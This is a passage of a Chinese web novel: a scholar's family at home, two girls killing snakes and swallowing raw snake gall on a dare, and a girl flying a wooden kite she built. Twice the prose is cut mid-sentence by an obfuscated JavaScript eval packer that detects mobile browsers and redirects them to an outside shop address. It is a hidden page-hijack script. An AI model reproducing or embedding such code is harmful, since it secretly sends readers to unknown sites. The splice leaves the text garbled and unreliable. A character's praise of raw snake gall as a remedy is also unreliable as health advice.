肖朗都能看出来的事,识人无数的宋四维自然也看在眼里。他早就察觉,程国恩这孩子天资虽高,心性却过于深沉,凡事都想得太多,藏得太深。一个十几岁的少年,本该还有些莽撞和天真,可程国恩身上几乎看不到这些——他太会拿捏分寸了,太知道什么时候该说什么话了。这不是什么坏事,但也未必是好事。 所以宋四维才一直重在教养他修身养性,希望用圣贤之道来涵养他的心性,让他明白真正的君子不是靠心机立身,而是靠德行立世。这也是他作为义父,能给这个孩子的最重要的东西。 问完了两个大的,宋四维的目光落在最小的两个——宋引章和宋清扬身上。他忽然笑了,那笑容与方才考问学业时的严肃截然不同,像是一瞬间从一个严师变回了慈父。 他没有问什么学业,而是一把将两个孩子搂进怀里。两个小小的身子挤在他膝前,软软的,暖暖的,带着孩童特有的奶香。 "想不想爹爹呀?"他低头看着两张仰起来的小脸,声音里满是宠溺。 宋引章和宋清扬立刻伸出小手搂住宋四维的脖子。宋引章嘴甜,抢着说道:"当然想爹爹了,想得都睡不着觉了,每天晚上都要问姐姐爹爹什么时候才回家。" 宋清扬也不甘示弱,搂得更紧了些,委屈巴巴地说:"爹爹,你好久好久没有陪儿子了。你上回说带我去垂钓,等了好久都没去成——你什么时候陪儿子去垂钓啊?" 宋四维搂着小儿子和小女儿,两个月的疲惫在这一刻仿佛都被这两个小小的怀抱融化了。他低下头,用自己的额头蹭了蹭宋清扬的额头,柔声说道:"爹爹也想你们。过两天,爹爹就带你们去垂钓。" 宋清扬撅起小嘴,那嘴翘得能挂油瓶,奶声奶气地控诉道:"又是过两天又是过两天,爹爹说话不算话。上回是过两天,上上回也是过两天——我都数着呢。" 宋四维被小儿子说得心里一软,伸手捏了捏宋清扬肉嘟嘟的小脸,亲昵地说道:"这一次,爹爹一定说话算话。" 宋清扬眉开眼笑,眼睛亮得像两颗小星星,伸出小指头,脆生生地问:"真的?" 宋四维也伸出自己的手指,勾住了儿子的,郑重地点了点头。宋清扬这才满意地笑了,那笑容里满是对父亲的信任——仿佛只要拉了钩,世界就不会再变卦了。 此时,宋夫人已经把账册全部看完。她站起身,理了理衣襟,走到几个孩子身边,声音温柔却带着不可违抗的母亲的权威:"天色不早了,赶紧回去休息吧,明早还有功课呢。" 宋玉章和程国恩他们听了,赶紧应了声"是"。宋玉章伸手拉住宋引章,牵着她的小手朝书房外走去。宋引章边走边回头朝宋四维挥手,嘴里还在说"爹爹明天见"。 宋清扬则直接跳到肖朗背上,两只小胳膊紧紧搂住肖朗的脖子,肖朗稳稳地托住他,背着他离开了书房,宋清扬趴在他背上咯咯地笑。程国恩走在最后,朝宋四维和宋夫人又行了一礼,才转身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618687|206141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离去。几个孩子的脚步声在走廊里渐行渐远,书房里只留下了夫妇二人和满室的烛光。 宋四维与宋夫人相视一眼,没有说话,只是彼此眼中都带着一丝了然的笑意。两人并肩穿过走廊,回到自己的房间。 净房里水汽氤氲,温热的水雾在空气中缓缓升腾,将烛光滤成了一片柔和的金色。宋四维坐在浴桶里,热水漫过他的肩头,蒸得他全身的毛孔都舒展开来。两月伏案劳碌的疲惫,在这热水里一寸一寸地被泡散了。 他闭着眼睛,嘴角带着一丝笑意,那笑意里有一种安定和满足——不是为了朝堂上的功名,而是为了此刻家中这片安宁。 宋夫人站在浴桶旁,挽起袖口,手里拿着手帕,正在给他擦洗身体。她的动作轻柔而熟练,指尖划过他的肩背,力道恰到好处,这是做了十几年夫妻才有的默契。 已经四十岁的宋四维,眼角有了细密的皱纹,鬓边也添了几根不易察觉的霜色。可那种岁月沉淀下来的儒雅,反而比年少时更让人移不开目光。那是一种从骨子里透出来的温润,是读了大半辈子书、经历了朝堂沉浮之后才有的一种从容。 三十六岁的宋夫人,风华难掩。虽说生了五个孩子,身形比做姑娘时略微丰腴了些,可身上那种成熟的气质反而更加迷人。此时的她身着一身淡青色的睡袍,长发只用一根青簪松松地挽起,几缕碎发垂在耳际,被水汽濡湿后贴在她白皙的颈侧,看上去风情万种,又带着几分随意和自在。 宋夫人给丈夫擦洗完身体,两人从净房回到卧房。烛火摇曳,房间里只留了一盏灯,光线暗下来,空气中弥漫着淡淡的花香,不知是窗外飘来的海棠,还是她亲手研制的香。 宋夫人走到床边,替丈夫展开被褥,轻声道:"你先睡,我去看看孩子。" 她话音未落,宋四维便一把拉住了她的手。他的手掌温暖而有力,指尖带着沐浴后残留的湿润热度,将她轻轻拉到了自己身边。 "夫人,天色不早,咱们早些安歇。"他的声音低沉,眼里却烧着一团火,"为夫已有两月没有与你亲近,实在是……想你得很。"那两个字他说得很轻,像是在她耳边落下了一粒烫人的火星。 宋夫人看着丈夫眼里那团熟悉的、毫不掩饰的火焰,脸上浮起一抹红晕,仿佛一下子又变成了当年那个刚嫁入宋府的新妇。她抬手轻轻推了他一下,嘴上嗔道:"你看你,越老越不知羞。咱们行简都十七了,过几年咱们都是抱孙儿的人了,你还跟年轻人似的——" 话未说完,宋四维便一把将这个风情万种、眼角带着娇羞的妻子搂进了怀里。他的手环住她的腰,将她紧紧地贴在自己胸前,低下头,在她耳边轻声笑道:"世间万物都是阴阳相交,天地如此,四季如此,日月如此。咱们还是顺应天道为好。" 宋夫人抬起头,伸出一根手指,指尖在他额头上轻轻戳了一下,眼角含笑,声音软得像化不开的蜜:"年纪越大越不知羞,这种话也说得出口。" 宋四维没有再答话,只是低头看着怀中的妻子,目光里盛满了十几年来从未变过的深情。他将她轻轻一带,两人倒在了柔软的锦被上。 烛火在微微晃动,把两个人的影子投在帐幔上,融成一片。窗外月色如水,海棠花香正浓,而室内的世界,在这一刻,只剩下夫妻间最温柔的呢喃。 8. 开膛破肚,生吃蛇胆 晨钟悠悠响起,穿透薄雾,回荡在青山书院的黛瓦白墙之间。钟声还未落尽,书院东西两院的学子便已端坐于学堂之中。 无论是东院的少年郎,还是西院的稚童,朗朗的读书声几乎同时飘出学堂——那声音清越而齐整,如春泉击石,如雏鸟初啼,与晨风应和着,与林间的鸟鸣应和着,在青山绿水间织成了一张看不见的网,网住了这世间最让人舒心的天籁。 读书声在晨光中慢慢消散,像潮水退去后沙滩上最后的几道波纹。先生们端坐在教案后,开始了一日的授课。 西院里,余老先生正摇头晃脑地讲着《千字文》,花白的胡须随着他抑扬顿挫的声调一翘一翘,下面的孩童们有的托腮听讲,有的偷偷在桌下翻着别的书,有的则小鸡啄米似的打着瞌睡。 趁着余老先生低头之际,宋含章与霍凌霜交换了一个眼神——那眼神里没有半句言语,却传递了一个完整的约定。 两人悄悄从后门溜出了学堂,身形一闪便没入了后山的林荫小径。春日已至,气温一日暖过一日,那些蛰伏了一整个寒冬的蛇,纷纷爬出巢穴,在枯叶与草丛之间蜿蜒游走,享受着春日暖阳的馈赠。正是抓蛇的好时节。 两人沿着蛇常出没的石缝和草丛一路寻找。后山的林子很静,只偶尔传来几声鸟鸣和远处书院隐隐约约的读书声。 两人各走一边,目光在落叶和石缝间搜寻。不消片刻,两人几乎同时发现了猎物——几条银环蛇和白蛇正盘踞在乱石之间,鳞片在春日的阳光下闪着冷光。 此时的两人竟变得出奇地默契。谁也没有开口说话,只是不约而同地放轻了脚步,猫着腰,屏住呼吸,像两头悄悄逼近猎物的豹子。她们小心翼翼地靠近那些蛇,脚步踩在枯叶上都没发出一点声响。 那一瞬间,两个平日里水火不容的混世魔王仿佛被同一根无形的线牵住了手脚——动作一致,节奏一致,甚至呼吸的频率都变得一致。她们像一阵无形的风,悄无声息而又极快地逼近,同时伸出手,稳、准、狠地钳住了蛇的七寸。 没有被捉住的蛇受了惊,纷纷向四处逃窜,鳞片在草丛间划出窸窸窣窣的声响。可宋含章与霍凌霜怎么会轻易放手?两人几乎同时起身,拔腿便追,穿梭在灌木与乱石之间,身手比那些逃跑的蛇还要快上几分。 在两个混世魔王面前,蛇的速度终究还是慢了一些。没一会儿,两人便各自提着四五条蛇,来到了后山那棵老槐树前。那老槐树树干粗壮,树皮皴裂,像是见证过无数代学子成长的沉默老人——只是今天,它要见证的是一场让它瞠目结舌的较量。 宋含章从腰间摸出早就准备好的铁钉,将蛇头贴近树干,一手按蛇一手执钉,干脆利落地把蛇从脖子处钉到了树上。 霍凌霜也如法炮制,动作毫不拖泥带水。被钉在树上的蛇身体不住地扭来扭去,尾巴甩在树干上啪啪作响,奈何七寸被钉住,无论怎样挣扎也无济于事,只能在春日的阳光里渐渐耗尽最后的力气。 宋含章双手抱在胸前,仰起下巴,眯着眼端详着那些还在微微扭动的蛇。 霍凌霜叉着腰,也扬起下巴,嘴角挂着一丝挑衅的笑。 两个女孩子站在老槐树前,一左一右,阳光透过新绿的枝叶落在她们身上,斑驳的光影在两张倔强的脸上晃动。没有人说话,但空气中已经燃起了无声的战火。 宋含章率先动了。她从腰间抽出一把短刀,刀身在阳光下闪过一道寒光。她手起刀落,把一条蛇开膛破肚,动作干净利落得如同庖丁解牛。她伸手探入蛇腹,两指一捏,把那枚墨绿色的蛇胆揪了出来。蛇胆在她指尖微微颤动,还带着血的温度。她仰起头,将蛇胆放在口中,喉头一动,直接吞了下去。随后她转过头来,嘴角还挂着一丝血迹,看着霍凌霜,挑了挑眉。 "该你了。" 霍凌霜看着宋含章那毫无惧色、行云流水的动作,手指不自觉地微微颤抖了一下。昨日给宋含章下了战书之后,她回到家中,那股冲天的豪气一退,便有些后怕了。一个人躺在床上的时候,脑子里翻来覆去都是蛇胆那又苦又腥的味道,差点打了退堂鼓。 可此刻宋含章就站在她面前,下巴扬得比她还高,嘴角还带着那该死的得意的笑。那股不服输的劲头像一把火,烧掉了她所有的后怕和犹豫。 她抽出腰间的匕首,深吸一口气,迅速把一条蛇开膛破肚。她的手微微有些发抖,但动作没有丝毫犹豫。她把蛇胆抠出来,墨绿色的胆汁沾在她的指尖,一股腥苦的味道扑面而来。她扬起头,喉头滚动了一下——在那一刻,她心里闪过了一万个后悔的念头。可为了不输给宋含章,她还是硬生生地把那枚蛇胆吞了下去。 哪里知道,那蛇胆刚刚滑过喉咙,一股腥苦的味道便猛地从胃里翻涌上来。她的胃像是被什么东西狠狠拧了一把,整个人不受控制地弯下腰,干呕了起来,眼泪都呛了出来。 宋含章见了,双手叉腰,仰头大笑。那笑声清脆而响亮,带着十足的得意和一丝纯然的快活,震得头顶的树叶都簌簌作响,惊起了林中栖息的飞鸟,也引来了正在满山寻找她们的——王谦山长、余老先生和一群看热闹的学子。 霍凌霜被宋含章这么一笑,脸涨得通红,也不知是羞的还是气的。她咬紧牙关,不服输的劲头又把恶心给压了下去。她迅速拿起匕首,又拉过一条蛇,手起刀落,再次开膛破肚取出蛇胆,逼着自己仰头吞了下去。这一次她没有再干呕,只是死死咬着嘴唇,瞪着宋含章,那眼神在说——我绝不输你。 宋含章看着霍凌霜把那枚蛇胆吞下去,点了点头,嘴角的笑意里多了一丝说不清道不明的东西。她说了句"有尿性",然后也拿起匕首,把剩下的蛇一条条开膛破肚,蛇胆一枚枚抠出来放进口中。她的动作越来越快,像是在完成一项熟练得不能再熟练的工作。 两个女孩子站在老槐树下,满嘴是血,脚下散落着血迹斑斑,手里拿着带血的匕首。阳光透过枝叶落在她们身上,那画面既骇人又带着一种野性的壮美。而这一幕,恰好被前来寻找她们的王谦山长、余老先生、王修安、宋行简,以及跟在后面看热闹的顾子衿、顾子佩、曾思雨、沈十安、顾承泽、钟荀彧等人看在了眼里。 所有人都被吓傻了。 那一刻,后山安静得只剩下了风吹树叶的沙沙声。没有人说话,没有人动弹,仿佛所有人都被钉在了原地。 顾承泽张着嘴,脸上的血色一瞬间褪得干干净净。他想起自己被宋含章扔进荷花池的那个春寒料峭的午后,那时候他还觉得自己是天底下最惨的人。此刻他看着宋含章嘴角的血,忽然觉得那天能在冰水里泡一遭,已经是她手下留情了。顾子佩更是直接抓住了哥哥的袖子,浑身瘫软,要不是顾承泽勉强站着,她恐怕已经滑倒在地。 王谦山长和余老先生对望一眼,两张老脸上写满了震惊。余老先生教了一辈子书,见过的顽劣孩童数不胜数,可这样的场面——两个十岁的女孩子,杀蛇、开膛、生吞蛇胆——他活了这么大岁数,闻所未闻。 宋行简第一个回过神来,一个箭步冲过去,劈手夺下宋含章和霍凌霜手中的匕首。他的手在发抖,声音也在发抖,焦急之中带着愤怒和后怕:"蛇有毒啊!你们竟然敢吃蛇胆,真是——真是胆大包天了!" 王修安和顾子衿赶紧走过去。王修安看着钉在树上那成排的蛇,蛇身还在微微颤动,血迹顺着树皮的纹路往下淌。他倒吸一口凉气,转头急声道:"这可不得了,赶紧去找郎中!" 顾子衿却不慌不忙地走近那棵老槐树,踮起脚尖,伸手拔下一条钉在树上的蛇,拎着蛇尾在王修安面前晃了晃。那蛇被钉了太久,已经奄奄一息,尾巴却还在微微卷曲。王修安被那晃动的蛇身吓得连退好几步,差点踩到身后的洪楚离。 顾子衿却浑然不觉,语气笃定而从容,像一个见惯了世面的小大夫:"不打紧,这些蛇没有毒。你看它们的头是椭圆的,不是三角的,身上是银环不是金环。蛇胆可是宝贝,不仅清热,还可以解毒明目呢。" 王修安看着眼前这个才十岁、长得粉雕玉琢的小女孩,手里晃着一条死蛇,嘴里说着"清热解毒明目",一时间竟不知道该说什么是好。他想起自己十岁的时候,连蚯蚓都不敢碰。 顾子衿见他不说话,又拔下几条蛇,跑到余老先生和王谦山长身边,仰着小脸,把手里的蛇举得高高的,语气里有几分邀功的天真:"山长,先生,这蛇没有毒,你们放心。而且这蛇肉乃是山间美味,肉质细嫩,最是鲜美,可以拿回去熬蛇汤喝呢!" 余老先生看着那几条还在微微挣扎的蛇,蛇身泛着冷光,蛇头无力地耷拉着,嘴巴一张一合。他只觉得眼前一黑,一口气没上来,两眼一翻,直直向后倒了下去。幸好顾承泽、沈长安和钟荀彧三人站在他身后,手忙脚乱地扶住了他,才没让这位须发全白的老先生摔在地上。 王谦山长闭上眼睛,深深吸了一口气,胸膛起伏了好几下才平复下来。他睁开眼,目光像两道利剑,先看了看满嘴是血的宋含章,又看了看同样满嘴是血的霍凌霜。他的声音不高,却带着一股让人不敢违抗的威严,每一个字都像是从牙缝里挤出来的:"你们两个,给我在日头下站四个时辰,禁食禁水。" 他转过身,看着宋行简和王修安,语气不容置疑:"你们两人把这些蛇埋了。" 说完,他一手揪住宋含章的耳朵,一手揪住霍凌霜的耳朵,像老鹰拎小鸡一样把两个混世魔王从后山一路拎了回去。两个女孩子被揪得龇牙咧嘴,却谁都没有求饶,还互相瞪了一眼,仿佛在说——都是你害的。 宋行简和王修安面面相觑,又同时低头看了看那些血淋淋的蛇,胃里一阵翻涌。他们都是饱读诗书的人,见过的血最多也就是被纸割破手指的程度,哪里见过这种场面,更别说去碰了。 顾承泽、曾思雨、沈十安等人更是早就吓得双腿酸软,恨不得长出翅膀飞下山去,哪里还敢上前。 只有顾子衿,站在原地扫视了一圈,把众人的恐惧尽收眼底。她轻轻叹了口气,那口气老成得不像一个十岁的孩子。她弯腰捡起地上一根树枝,语气平淡:"蛇有什么好怕的,我来埋。你们这些哥哥们,胆子还不如我和含章。" 日头在慢慢升高,从东边的山头爬到了正头顶,春日的阳光虽然不算毒辣,但连续几个时辰晒下来也足以让人头晕目眩。 宋含章和霍凌霜笔直地站在书院大院中央,两个人一动不动,像两尊被晒得发烫的石像。汗水从她们的额头滑落,顺着脸颊淌下来,滴在青石板地面上,砸出一个个深色的小圆点。两人的嘴唇都干裂了,脸也晒得通红,可谁都不肯先晃一下。 她们又在暗中较劲了——看谁先坚持不住,看谁先开口说"我不行了"。这较量没有蛇胆,没有匕首,却比方才那场更让人难受。可两个人始终没有看对方一眼,只是各自目视前方,咬着牙,挺着腰,仿佛谁先倒下谁就输了一辈子。 在周围围观的学子三三两两地聚在廊下,你一句我一句地议论着这两个"混世魔王"。 方雍的孙子方继志摇着头,压低了声音,像是在说什么了不得的秘密:"你说她们的胆子是什么做的?还是两个女娃娃呀,就敢去抓蛇,把蛇开膛破肚,眼睛都不眨一下。我一个大男人——"他顿了一下,没好意思说自己刚才差点尿了裤子。 程国恩站在方继志身边,抱臂看着院子里那两个笔直的身影,沉默了片刻,缓缓说道:"不知者无畏,再有就是胜负欲的驱使。不过——"他顿了顿,目光在两个女孩子身上停了很久,眼底掠过一丝旁人看不懂的神色,"我看这两个女娃娃,未来当真是不得了。" 好事不出门,坏事传千里。还没等太阳落山,宋含章与霍凌霜打赌抓蛇、生吃蛇胆的事便像长了翅膀一样传遍了京城的大街小巷,从茶楼到酒肆,从深宅大院到街头巷尾,连路边卖馄饨的老汉都能说上两句。最后,这消息甚至传到了皇宫。 御书房里,皇帝箫衡正在批阅奏折。听完太监的禀报,他搁下朱笔,抬起头看着窗外那棵苦楝树。他沉默了片刻,嘴角慢慢浮起一抹笑意,缓缓道:"这两个女娃娃,真是有胆量。朕的皇子们像她们这么大的时候,见了蛇还要绕着走。若是宁国的女子都有这份胆气,何愁边关无将。"< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618688|206141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一旁温柔似水的方惠妃正在替他研墨,纤细的手指握着墨锭,不紧不慢地在砚台上画着圈。她听了皇上的话,微微蹙起眉头,轻声叹道:"陛下,这样的女娃娃,胆子比天还大,将来怕是嫁不出去了。谁家敢娶这样的媳妇,不怕洞房花烛夜被灌一嘴蛇胆。" 皇上抬起手,轻轻摆了摆,目光依旧落在窗外那棵苦楝树上,笑容意味深长:"非也,非也。好的千里马需要伯乐,好的女子也需要男人有慧眼。朕看她们,是能撑起半片江山的人。" 与此同时,京城各大茶馆里,说书先生端坐在台上,手里的惊堂木高高举起,啪的一声落下,声音震得茶客们精神一振。他唾沫横飞,绘声绘色地讲起了宋含章与霍凌霜把蛇开膛破肚、生吃蛇胆的壮举,讲得比战场上的将军还英勇,比山里的猎户还彪悍。 茶客们听得目瞪口呆,有的拍案叫绝,有的连连摇头,有的小声嘀咕:"这谁家养出来的闺女,莫不是女魔王投的胎?"大家议论纷纷,话头绕来绕去,最后都绕到了同一句话上——这样的姑娘,将来怎么嫁得出去? 威震将军霍擎苍坐在茶馆角落里,从头到尾一言不发。听完说书人的段子,他把杯中的茶一饮而尽,站起身来,嘴角挂着一丝淡淡的笑意,背着手踱出了茶馆。旁人问他怎么看自己的孙女,他只说了四个字:"虎父无犬女。"旁人再追问时,他已大步走远,只留下一个挺拔的背影。 翰林学士院里,宋四维正在翻阅文书。同僚把消息递到他耳边时,他先是愣了一瞬,然后抚着胸口,仰天长叹,那叹息声里既有无可奈何,又隐隐藏着一丝别样的复杂情绪——他想起自己小时候,也干过类似的荒唐事。他在心底反复安慰自己:还好,还好,只是吃蛇胆,没吃出什么事来。 沈国公府里,沈老夫人听完下人的禀报,端起茶盏抿了一口,嘴角缓缓漾开一抹笑意。她将茶盏放下,不紧不慢地说:"这两个丫头,真是巾帼不让须眉,是能撑起门楣之人。能娶到含章,是咱们沈家的福气。" 她说这话时,目光越过茶盏上的热气,看向窗外沈府的深宅大院,看向了那些飞檐翘角之后更远的地方。沈老夫人深谋远虑,活了大半辈子,她早已看透了沈府的根基——儿子性子软弱,孙子沈十安更是被宠得不成样子,整日只会吟风弄月、说人闲话,这沈府偌大的家业,里里外外都是她这个老太婆在撑着。 她老了,鬓发已经全白,走路也需要人搀扶了。她心里清楚,等自己百年之后,这偌大的沈府必须有一个硬气的人来撑起。与其指望那些软骨头,不如指望一个能打能扛的媳妇。宋含章那丫头虽然胖,虽然野,可是她的骨子里有一股沈府几代人都没有的东西——那是不服输的硬气,是被人按在地上也不肯低头的倔强,是把蛇开膛破肚连眼都不眨的胆魄。 沈夫人站在一旁,听着婆婆的话,手中的帕子差点绞碎了,脸上却不敢显露太多。她本就讨厌宋含章——嫌她胖,嫌她粗鲁,嫌她丢人现眼。如今又闹出这档子事,她对宋含章的厌恶更是多了一层。她在心里盘算着,以后宋含章真的进了沈家的大门,那不是来做媳妇的,那是来做天王老子的。就凭她那脾气,那力气,谁敢管她?届时,自己想摆婆婆的谱都没门儿——弄不好还要被儿媳拎起来扔进荷花池里。可沈老夫人发了话,她一个字都不敢反驳,只能把满腹的不情愿咽回肚子里,藏在笑脸底下。 顾府里,顾老夫人、顾大夫人和顾二夫人坐在院中的槐花树下。婆媳三人一边喝着茶,一边讨论着宋含章和霍凌霜。 顾大夫人提起这两个丫头的时候,语气里满是惋惜,又带着几分好笑,说"这全京城的混世魔王,都被宋家和霍家给包圆了"。 顾二夫人则啧啧连声,摇着扇子感叹着还好自家闺女顾子佩虽然嘴毒了些,还没到敢吃蛇胆的地步。 顾老夫人却只是笑了笑,什么也没说,目光落在槐花的碎影里,仿佛想起了自己年轻时那些鲜衣怒马的日子。 而此刻,宋府里却是另一番光景。 宋夫人已经气倒在床上。她额头上搭着一条白色的帕子,帕子已经被换了好几回,可她还是觉得脑门发烫。她脸上的泪水干了又湿,湿了又干,鬓边的碎发被泪水黏在脸颊上,目光呆滞地望着帐顶。 她真的想不通——自己一生知书达礼,端庄贤淑,连说话都不会大声,怎么就生出了这样一个混世魔王?其他的四个儿女都好好的——宋行简沉稳持重,宋玉章温婉端庄,宋引章乖巧伶俐,宋清扬活泼可爱,个个都拿得出手。 为何偏偏是宋含章,这般混账,这般无法无天,这般让她寝食难安?她想不通,怎么也想不通,脑子里翻来覆去都是女儿满嘴是血站在老槐树下的画面。 宋玉章、宋引章、宋清扬和春夏围在床前,看着床上的母亲,眼里泪花打转。 宋玉章握着母亲的手,轻声安慰着,可她也知道,那些话此刻对母亲来说太轻了。宋引章和宋清扬一左一右趴在床沿上,小小的人儿还不太明白发生了什么,只知道娘亲哭了,娘亲很难过,于是他们也想哭。 春夏站在角落里,手里端着宋夫人的药汤,红着眼眶往门外望了又望。她在等宋含章回来。她知道她家姑娘一定站得笔直,不会比霍凌霜先倒下的。她也知道,等她家姑娘回来了,她要像往常一样,偷偷塞一块肉给她。 因为她家姑娘,不是坏人。她只是比所有人都更倔强,更孤独。 今晚,宋夫人被气倒在房间,宋府的饭桌上,宋含章的碗没有人夺走。她端着碗,整整吃了五碗米饭。当家人吃好停下筷子时,她还把所有剩下的菜都搜刮到腹中。最后放下碗时,还打了一个响亮的饱嗝 她的父亲和兄弟姐妹见之,眼里是震惊。平时宋夫人控制了她的饭量,现在没人控制,他们没想到宋含章的胃口竟然如此大,完全在他们的想象之外。 当然,他们眼里也有心疼。因为,这是宋含章唯一一次在桌上吃饱,嘴角带着吃饱后满足的笑意。 宋四维看着女儿那满足的模样,心里一阵阵酸楚。能吃是福气,他决定说服妻子,不再控制女儿的饭量。 9. 木鸢成功,学习吹箫 散学离开青山书院,回到宋府,宋含章便一头扎进自己的院子,将院门一关,外面的世界便与她无关了。 院子里散落着木屑、刨花和半成品的木头零件,墙角堆着几根从后山捡来的竹子,那是她留着备用的材料。 她蹲在院子中央,面前摆着那只已经反复拆装了不知多少遍的木鸢——翅膀的弧度还差一点,机括的灵敏度还不够,尾巴的平衡木也换了三根。 她拿起刨刀,对着阳光眯起一只眼,修整着木鸢翅膀上的最后一道弧线,木屑从她指间簌簌落下,落了一地细碎的金黄。 经过张木匠的指点和反复的改进、测试,那只木鸢终于在她手中成了型。她站起身,双手捧着木鸢,深吸一口气,用力按下木鸢身上的机括。 只听"咔"的一声轻响,木鸢的双翅应声展开,机括带动翅膀扇动起来,发出细微而清脆的齿轮咬合声。她松开手,那只木鸢便从她掌心腾空而起,扑扇着翅膀飞向了院子上方的天空。 春夏正端着茶从廊下走来,一抬头看见那只木鸢在空中盘旋,茶盘差点脱了手。她将茶盘往石桌上一搁,拍着双手跳了起来,仰着脖子追着那只木鸢的身影,拍着手高声喊道:"飞起来了!飞起来了!我家姑娘天下无敌!"她的声音清脆而响亮,在暮色里传得很远,惊起了院外梧桐树上的几只麻雀。 宋含章站在院子中央,仰头看着自己的木鸢。她没有说话,只是嘴角慢慢翘了起来,那笑容在暮色里格外灿烂——这是她亲手做出来的东西,没有靠任何人,不需要任何人的认可,木头和竹子在她手里活了过来。 只是院里的风小了一些,木鸢飞得不快,扇动翅膀的节奏也变得迟缓。她在心里默默记下了这一点——下次,得让翅膀更轻一些,机括的力道更大一些。 第二日前去书院时,天刚蒙蒙亮。宋含章将木鸢小心翼翼地用布包好,悄悄藏进随身携带的布袋里,抱在怀里上了马车。 西院里,余老先生授完课,放下戒尺,起身去解决内急。他的脚步声刚消失在走廊尽头,学堂里的气氛立刻松了下来——有人趴到桌上补觉,有人便闹腾了起来。 宋含章趁机从布袋里拿出自己制作的木鸢,放在桌上。 阳光从窗棂透进来,照在木鸢上,那木鸢做工精巧——薄薄的木片被打磨得光滑如纸,翅膀的关节灵活自如,每一处榫卯都严丝合缝,连翅膀上的纹路都刻得一丝不苟。 顾子衿坐在她旁边,一眼便看到了这只精巧的木鸢。她放下手里的毛笔,眼睛亮了,凑过来问道:"含章,这是什么?" 宋含章捧着木鸢,语气里带着几分藏不住的骄傲:"是木鸢,我自己做的。还会飞呢。" 这话一出,整个学堂都安静了一瞬。霍凌霜、顾承泽、沈十安、曾思雨、钟荀彧、顾子佩纷纷回过头来,目光齐刷刷地落在宋含章手中那只木鸢上。有人好奇,有人怀疑,有人已经在心里准备好了嘲讽的词藻。 胸无点墨又高傲无比的曾思雨第一个开口。她歪着头,斜着眼睛把那木鸢上上下下打量了一遍,从鼻子里哼了一声,语气里满是不屑:"就几片木片组合起来而已,又不是什么稀罕玩意儿。要是能飞上天,我叫你一声姑奶奶。" 顾承泽和顾子佩也七嘴八舌地附和,一个说"宋含章又在吹牛了",另一个说"你打架厉害我们认,做东西嘛——还是算了吧"。 学堂里响起了一阵低低的笑声,那些平日里被宋含章揍过的孩子终于找到了一个可以反击的机会,虽然不敢说得太大声,但挤眉弄眼的表情已经说明了一切。 霍凌霜却出奇地安静。她盯着那只木鸢看了许久,没有加入嘲讽的队伍。她在北疆军营中听军师说起过墨家的机关术——那些能在战场上投石攻城的器械,那些能载人飞行的木鸟,都是从墨家的巧思中诞生出来的。军师曾给她看过一本残破的《墨子》抄本,里面画着各种机关的图样,其中就有木鸢。她看着宋含章手里这只精巧的玩意,心里暗暗吃了一惊——难道宋含章真的把书上的东西做出来了? 宋含章没有说话。她没有辩解,没有发火,也没有拎起曾思雨扔到树上。她只是拿起木鸢,转身走出学堂。 阳光照在她宽厚的背影上,她的步伐笃定而从容。来到院子中央,她低头看了一眼手中的木鸢,手指按下了机括——"咔"的一声,木鸢的双翅应声展开,齿轮开始转动,翅膀有力地扇动起来,比昨天更加轻快流畅。 她松开手,那只木鸢便真的乘风而起,扑扇着翅膀飞向了空中。 在场的所有人都惊呆了。曾思雨的嘴张成了一个圆,半天合不拢,那句"姑奶奶"卡在喉咙里怎么也吐不出来。 顾承泽和顾子佩面面相觑,脸上火辣辣的,像是被人当众打了一巴掌。霍凌霜的眼睛死死追着那只木鸢,嘴唇抿成了一条线,目光里既有惊叹也有不甘。 顾子衿也惊讶不已。 钟荀彧和沈十安那不屑的表情,也立马转为了震惊。 就连解决完内急回来的余老先生,刚走到廊下,一抬头便看见了空中那只盘旋的木鸢,也看得呆住了——他下意识地伸手扶住了廊柱,仿佛需要什么东西来支撑自己。 那只木鸢在西院上空飞了几圈,越飞越高,翅膀在春光里闪着木纹的光泽。随后,它像是长了眼睛一般,越过西院的墙头,朝着东院的方向飞去。 东院的学堂里,除了洪楚离,其他学子都在认真听王修安讲课。王修安正讲解《礼记》中的一段,声音清润,字字分明。洪楚离虽然端正地坐在位子上,可心思早就不在书上了。 他坐在靠窗的位置,眼睛不时地瞥向窗外——春日暖阳,鸟鸣婉转,一只蝴蝶刚从他眼前翩翩飞过,他的目光便跟着那只蝴蝶在院子里转了一圈。就在这时,那只木鸢也映入了他的眼帘。它扇动着翅膀,在阳光下投下一道小小的影子,那影子掠过地面,不像是鸟的影子——鸟的影子是柔软的,而这个影子的翅膀却带着一种机械的节奏感。 洪楚离瞪大了眼睛,看着那个在空中飞行的小东西。他揉了揉眼睛,定睛一看——确实不是鸟。鸟的翅膀是柔软的,飞起来带着弧度;这个东西的翅膀是木头的,扇动的节奏均匀而机械。 那一刻,他的好奇心像被点燃的火药,轰的一声炸开了。他顾不上王修安正在授课,径直站起来,推开椅子,大步走出学堂,仰头去追那一只飞行的木鸢。 王修安停下讲解,眉头微蹙,手中的朱笔悬在半空。其他的学子也纷纷抬起头,目光循着洪楚离的背影而去,然后——他们也看到了。那只木鸢正在东院上空盘旋,翅膀在阳光下闪着木纹的光泽,像一只从古书里飞出来的神鸟。 王修安放下朱笔,缓缓站起身,饱读各种典籍的他一眼便认出了那是什么——"木鸢。"他脱口而出,声音里带着难以置信。 